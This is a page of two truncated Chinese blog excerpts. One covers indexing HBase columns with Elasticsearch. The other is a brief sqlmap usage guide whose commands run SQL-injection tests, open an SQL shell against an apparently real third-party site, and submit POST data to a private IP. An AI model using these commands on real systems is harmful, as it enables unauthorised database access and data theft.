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使用elasticsearch提高hbase基于列的查询效率

使用elasticsearch提高hbase基于列的查询效率 网上能查到的hbase提高基于列的查询效率基本上是建立二级索引的方法,介绍另外一种方法,使用分布式索引技术elasticsearch来提高效率, 基本思路和二级索引差不多,都是通过对要查询的列建立索引,先根据建立的列索引查询到rowkey,再根据rowkey查询到需要的数据,步骤如下: 1. 安装elasticsearch,安装简单,网上查找安装方法 2.使用elasticsearch建立hbase的相关查询列的索引,值包括查询列与rowkey 3.使用ealsticsearch查询到列对应的rowkey值,再根据rowkey查询需要的信息 代码只包括第3步: package hbase; import java.io.IOException; import java.util.ArrayList; import java.util.List; import org.apache.hadoop.hbase.HBaseConfiguration; import org.apache.hadoop.hbase.client.Ge...

sqlmap简单中文说明

首先下载需要的文件,如果是windows环境直接到http://sqlmap.org/下载安装所需要的文件即可。 更新 svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev sqlmap.py -u "http://www.islamichina.com/hotelinchina.asp?cityid=2&m=1″ -v 1 –sql-shell //执行SQL语句 sqlmap.py -u "http://www.islamichina.com/hotelinchina.asp?cityid=2&m=1″ -v 5 //更详细的信息 load options from a configuration INI file sqlmap -c sqlmap.conf 使用POST方法提交 sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/post_int.php" –method POST –data "id=1″ 使用COOKIES方式提交,co...

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